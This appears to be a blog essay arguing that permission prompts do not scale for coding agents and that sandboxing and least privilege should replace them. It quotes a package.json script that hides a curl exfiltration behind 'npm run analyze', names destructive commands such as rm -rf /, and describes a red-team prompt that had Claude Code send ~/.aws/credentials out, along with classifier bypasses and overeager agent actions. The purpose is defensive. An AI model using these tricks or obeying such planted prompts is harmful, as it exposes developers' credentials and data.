Humans Are Not Firewalls: Why Permission Prompts Do Not Scale for Coding Agents

Anyone who uses Claude Code, Codex or another coding agent for more than a few minutes knows the pattern:

Claude wants to run:
npm run build

Do you want to proceed?

Of course I do. I just asked the agent to build the application.

Approve.

Two minutes later:

rm -rf dist/

Also plausible. Approve.

Then npm install, git status, ./gradlew test, some curl, another npm run, approve again.

After half an hour, a security decision has turned into a motor task.

Alex Wauters examined exactly this problem with a small browser game. The player acts as the human in the loop for a coding agent and has to allow or block shell commands under time pressure. Some are harmless; others read credentials, manipulate Git configuration or send data to external servers.

The dataset now contains more than 40,000 game rounds and 409,000 individual decisions. On average, players missed roughly one third of dangerous actions. Only 20.8 percent managed to detect every attack while blocking fewer than one fifth of legitimate commands.¹

This is not a controlled scientific study. Malicious commands made up an unrealistically high share of roughly 34 percent, and players were put under artificial time pressure.

The experiment nevertheless exposes a weak point in current agent architecture. We give a probabilistic system access to the shell, filesystem and network and then try to create the security boundary with an Allow button.

That works surprisingly badly.

Dangerous commands do not look dangerous

The obvious attacks in the ScaleX game were recognised relatively reliably.

rm -rf / or chmod -R 777 / were allowed in only 11.7 percent of cases. For persistent changes such as manipulated cron jobs or Git configuration, the error rate was already 23.8 percent. It rose to 33.4 percent for data exfiltration and code execution, and to 35 percent for access outside the expected scope.¹

The more interesting cases are commands that look completely normal.

The most successful attack in the experiment was:

npm run analyze

64.7 percent of players allowed it.

The actual payload was hidden in the corresponding package.json script:

{
  "scripts": {
    "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl ..."
  }
}

To make the correct decision, the developer would therefore have to assess more than the command shown in the dialog. He would need to know which files the agent changed earlier and which code the command transitively executes.

That is where the conventional permission model breaks down.

npm run build is not an action. It is a reference to a potentially arbitrary action.

The same is true for:

./gradlew build
make
mvn test
docker compose up
python script.py

An agent that may change files can itself change the semantics of a later command that appears harmless.

The permission dialog is therefore often asking the wrong question.

Not:

May the agent run npm run build?

But effectively:

May all code currently reachable from this command, including every change made by the agent, run with the current credentials, filesystem permissions and network access?

That does not fit particularly well into a yes/no dialog.

A 93 percent approval rate is not a security control

ScaleX measures a game. Anthropic has telemetry from real Claude Code use.

The result is hardly more reassuring: users approve roughly 93 percent of all permission prompts. Anthropic itself notes that attention declines as the number of prompts rises.²

That does not mean 93 percent of actions are safe.

It mainly means that a dialog whose normal answer is almost always Yes eventually stops functioning as a meaningful security decision.

This is not a new problem in security research. Studies of browser and operating-system warnings have documented habituation for years. Repeated dialogs reduce attention, and that habituation can carry over to new security warnings that actually matter.³

Coding agents amplify the problem.

A browser may ask for an unusual permission a few times per week. An autonomous coding agent can produce dozens of shell commands in an hour.

The security architecture therefore creates the very state in which its own protection becomes less effective.

The problem is not only prompt injection

Agent-security discussions quickly converge on prompt injection. That is understandable but incomplete.

An agent does not have to be compromised to do something dangerous.

Anthropic describes internal Claude Code incidents including deleted remote branches, a GitHub token uploaded to an internal compute system and an attempt to run migrations against a production database. The cause in each case was not necessarily an attacker, but an agent pursuing a legitimate goal too aggressively.²

A recent study calls this behaviour Overeager Actions.

The authors of OverEager-Bench tested Claude Code, OpenHands, Codex CLI and Gemini CLI on fundamentally benign tasks. Depending on the agent framework, actions outside the authorised scope occurred at very different rates. In the more permissive frameworks, measured rates ranged from 5.4 to 27.7 percent. A framework that asked for explicit approval more often ranged from 0.2 to 4.5 percent.⁴

A second result is particularly interesting: when the permitted boundaries were explicitly written into the prompt, overeagerness dropped sharply.

That sounds encouraging until the implication is considered.

In real tasks, nobody writes:

Implementiere das Feature.

Du darfst:
- src/ ändern
- Tests ausführen

Du darfst nicht:
- andere Dateien löschen
- Git-Historie verändern
- Credentials lesen
- externe Systeme aufrufen
- Infrastruktur verändern

Humans fill in those boundaries implicitly.

An agent has to infer them.

That inference is probabilistic.

Then let a second model decide

One of Anthropic’s responses to permission fatigue was Claude Code’s Auto Mode.

Instead of showing every tool call to the user, an additional classifier determines whether an action fits the user’s instruction. Actions classified as harmless run automatically; suspicious actions are blocked.

That reduces friction considerably.

It still does not create a hard security boundary.

Anthropic publishes unusually concrete figures here. Across 52 real internal cases of overeagerness, the complete Auto Mode pipeline allowed 17 percent of dangerous actions through. Across 1,000 synthetic exfiltration attempts, the false-negative rate was 5.7 percent.⁵

The classifier’s failure modes are also instructive.

It often recognises that a force push, deletion or infrastructure change is dangerous. It then interprets an earlier user statement as sufficient consent.

For example, this:

Clean up the PR

can become supposed authorisation for a force push.

Anthropic therefore explicitly notes that Auto Mode is not a substitute for careful control around critical infrastructure.⁵

The problem has moved down one layer.

Previously, one probabilistic agent asked a human.

Now one probabilistic agent asks a second probabilistic agent.

That can reduce the error rate substantially. It still does not create a security boundary.

Prompt injection turns the weakness into an attack vector

So far, this has covered accidental scope violations only.

Prompt injection adds an attacker.

IssueTrojanBench, published in July 2026, studies exactly this case in Cursor, Claude Code and Codex Desktop. Attacks are inserted into the agent’s context through issues, comments and documents, among other channels.

Some 66.5 percent of the malicious issues tested bypassed both the agents’ safeguards and those of the underlying models.⁶

That turns an incorrect agent decision into a classic confused-deputy problem.

The agent has the developer’s permissions:

Agent
  │
  ├── Source Code
  ├── Git Credentials
  ├── Package Registry
  ├── Cloud Credentials
  ├── Kubernetes
  ├── Network
  └── perhaps Production

The attacker does not have those permissions.

He therefore does not need to compromise the operating system.

He only has to persuade the agent to misuse capabilities it already possesses.

The decisive question is no longer only:

Can the model detect prompt injection?

It is:

What is the worst that can happen when it fails to detect it?

Anthropic demonstrated the problem internally

A particularly useful example comes from Anthropic’s own red-team work.

In February 2026, an employee participating in a controlled phishing test received an apparently ordinary request to paste a prepared prompt into Claude Code. Among other instructions, it told the agent to read ~/.aws/credentials, encode the data and send it to an external endpoint.

Claude carried out the exfiltration in 24 of 25 attempts.⁷

The interesting part is not the success rate.

The attack bypassed the conventional concept of prompt injection entirely.

From the model’s perspective, the instruction came from the user. A prompt-injection classifier therefore has little basis for deciding that the text originated in a phishing email.

Anthropic’s conclusion is correspondingly pragmatic: in this scenario, the reliable protection layer is the environment.

If ~/.aws/credentials does not exist inside the sandbox and unknown external destinations are unreachable because of egress controls, it no longer matters whether the model recognises the attack.

The agent cannot perform the action technically.⁷

That is a fundamental difference.

Security should restrict capabilities instead of guessing intent

The conventional permission architecture tries to judge intent:

Agent wants to do X.
Is X probably okay?

A more robust architecture restricts capabilities instead:

Agent cannot do X in the first place.

This is not a new idea. It is simply least privilege.

NIST has defined the principle for years in essentially those terms: a user or process should receive only the minimum resources and authorisations required to perform its function.⁸

For coding agents, that old principle suddenly becomes very concrete.

An agent refactoring a frontend normally does not need access to:

~/.aws
~/.ssh
~/.kube
Production databases
Cloud control planes
Private documents
Arbitrary external hosts

If those resources are available, every prompt-injection defence becomes the last protective layer.

If they are not, a large class of possible attacks becomes irrelevant.

Sandboxing instead of permanent approval prompts

The major vendors are consequently moving in the same direction.

Claude Code uses Seatbelt on macOS and Bubblewrap on Linux to constrain filesystem and network access technically. Anthropic reports that the sandbox reduced permission prompts by 84 percent.⁷

Codex likewise separates sandbox policy from approval policy. The sandbox defines where writes are possible, whether network access exists and which paths are protected. An additional approval becomes relevant only when the agent wants to cross that technical boundary.⁹

OpenAI also does not run Codex internally with arbitrary outbound network access. Expected destinations are allowed; unknown destinations are blocked or require additional approval. Agent activity including tool calls, permission decisions, MCP use and network decisions can be logged through OpenTelemetry.⁹

That ordering makes much more sense:

1. Technical boundary
2. Least privilege
3. Network policy
4. Credentials with minimal scope
5. Agent and model guardrails
6. Human approval for genuine exceptions

Not:

1. Agent may do almost anything
2. User hopefully clicks correctly

The human in the loop does not disappear

None of this means humans should be removed from the security model.

An analysis of 59 academic papers, 21 production agent systems and 26 security plugins suggests the opposite: runtime approvals are among the most common safeguards. Fifteen of the 21 production systems examined use them.¹⁰

Another recent paper analyses 21 proposed permission systems and five commercial agents and likewise concludes that translating human intent into enforceable agent permissions remains an unsolved problem.¹¹

The human remains important.

His role should change, though.

A developer is well suited to a decision such as:

Der Agent möchte jetzt das vorbereitete Release in Produktion deployen.
Fortfahren?

That is a business decision with recognisable context and high impact.

He is much less suited to:

Allow Bash(npm run build)?

for the 37th time that afternoon.

The first prompt carries meaning.

The second mostly creates noise.

Good permission systems need semantic boundaries

In the long term, classifying individual shell commands will probably not be sufficient either.

Agents need permissions closer to the actual task.

For example:

task:
  repository: customer-portal

filesystem:
  read:
    - repository
  write:
    - repository

network:
  allow:
    - registry.npmjs.org
    - api.github.com

git:
  push: feature-branch-only
  force_push: false

credentials:
  github:
    permissions:
      contents: write
      pull_requests: write

production:
  access: false

Whether the implementation uses npm, curl, git or a custom Python script underneath is then secondary.

The policy describes the permitted effect.

That is much closer to classical capability systems than to a terminal dialog.

That is where agent security should move.

An agent should be allowed to be compromisable

The wording sounds wrong at first, but it is a useful design principle.

Not:

How do I guarantee that my agent can never be compromised?

Instead:

What happens when my agent is compromised?

LLMs remain probabilistic systems. Prompt-injection filters remain probabilistic. Auto-approval models remain probabilistic. Even very good safeguards produce false negatives.

An architecture that requires any of those components to be perfectly correct has therefore already lost.

A compromised coding agent inside a properly isolated dev container may be able to destroy source code. Git restores it.

A compromised agent holding AWS administrator credentials with unrestricted network access is an entirely different system.

The relevant security metric is therefore not only the probability of failure.

It is:

Risk = Probability × Blast Radius

Model research is mainly working on the first variable.

AI Engineering has complete control over the second.

Permissions should become the exception

The ScaleX experiment does not prove that developers would miss exactly 33 percent of real attacks. The setup is far too artificial for that conclusion.

It does demonstrate why the current interaction pattern does not scale.

Dangerous actions often look mundane. The relevant semantics live in previous file changes, dependencies, credentials and environment state. At the same time, a large volume of legitimate prompts trains the user to stop paying attention.

ScaleX measures an effect that Anthropic also observes in real telemetry. Current research additionally shows that agents can cross scope boundaries without an attacker and that prompt injection still bypasses existing guardrails surprisingly often.

The Allow button is therefore not useless.

It is simply positioned at the wrong place in the security architecture.

The future of autonomous coding agents is not better dialogs for developers. It is running agents inside environments where most dangerous actions are technically impossible.

Sandboxing, egress filtering, short-lived credentials, minimal scopes and separated production access are not optional enterprise extras in that model.

They are the actual permission layer.

If a dialog still appears afterwards, it should concern a genuine exception.

Then it may even be worth reading again.

Sources

Footnotes#

1. Alex Wauters, Scale X: Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays, 5 August 2026. ↩ ↩²

2. Anthropic: How we built Claude Code auto mode: a safer way to skip permissions, 25 March 2026. ↩ ↩²

3. Anthony Vance et al.: The Fog of Warnings: How Non-essential Notifications Blur with Security Warnings, SOUPS 2019. ↩

4. Yubin Qu et al.: Overeager Coding Agents: Measuring Out-of-Scope Actions on Benign Tasks, arXiv, May 2026. ↩

5. Anthropic: How we built Claude Code auto mode: a safer way to skip permissions, particularly the evaluation of the two-stage approval classifier. ↩ ↩²

6. Ankur Singh, Jinqiu Yang and Tse-Hsun Chen: IssueTrojanBench: Benchmarking AI Coding Agents Against Malicious Issue Requests, arXiv, July 2026. ↩

7. Anthropic: How we contain Claude across products, 2026. ↩ ↩² ↩³

8. NIST: Least Privilege, Computer Security Resource Center. ↩

9. OpenAI: Running Codex safely at OpenAI, May 2026. ↩ ↩²

10. Peiran Wang, Ying Li and Yuan Tian: Reframing LLM Agent Security as an Agent-Human Interaction Problem, arXiv, May 2026. ↩

11. Alexandra E. Michael and Franziska Roesner: How Agents Ask for Permission: User Permissions for AI Agents, from Interfaces to Enforcement, arXiv, July 2026. ↩